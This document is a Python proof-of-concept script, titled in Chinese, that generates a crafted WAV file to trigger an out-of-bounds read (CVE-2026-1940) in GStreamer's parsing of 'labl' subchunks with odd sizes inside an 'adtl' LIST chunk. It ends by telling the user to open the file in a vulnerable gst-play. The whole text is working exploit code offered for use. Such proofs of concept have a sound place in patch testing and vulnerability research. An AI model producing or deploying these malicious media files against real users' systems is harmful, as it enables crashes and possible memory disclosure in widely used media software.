CVE-2026-1940 GStreamer越界读取漏洞

import struct # Generate a malicious WAV file to trigger CVE-2026-1940 # The vulnerability occurs when parsing 'adtl' chunks with odd sizes. def create_malicious_wav(filename): # RIFF header riff_header = b'RIFF' # Total file size (placeholder, will update) file_size = struct.pack('<I', 0) wave_format = b'WAVE' # fmt chunk (standard PCM) fmt_id = b'fmt ' fmt_size = struct.pack('<I', 16) fmt_data = struct.pack('<HHIIHH', 1, 1, 44100, 176400, 4, 16) # data chunk (empty) data_id = b'data' data_size = struct.pack('<I', 0) # LIST chunk containing 'adtl' # The parser looks for 'adtl' inside LIST chunks list_id = b'LIST' # Calculate size roughly list_content = b'adtl' # Malicious subchunk inside adtl # Using 'labl' (Label) chunk with an ODD size to trigger GST_ROUND_UP_2 subchunk_id = b'labl' subchunk_lsize = 1 # Odd number to trigger the rounding issue subchunk_size = struct.pack('<I', subchunk_lsize) subchunk_data = b'A' * subchunk_lsize list_content += subchunk_id + subchunk_size + subchunk_data list_size = struct.pack('<I', len(list_content)) # Assemble the file file_content = riff_header + file_size + wave_format file_content += fmt_id + fmt_size + fmt_data file_content += data_id + data_size file_content += list_id + list_size + list_content # Update total size (file size - 8 for RIFF header) total_size = struct.pack('<I', len(file_content) - 8) file_content = file_content[:4] + total_size + file_content[8:] with open(filename, 'wb') as f: f.write(file_content) print(f"[+] Malicious WAV file created: {filename}") print(f"[+] Try opening this file with a vulnerable version of GStreamer (e.g., using gst-play-1.0)") if __name__ == "__main__": create_malicious_wav('cve_2026_1940_poc.wav')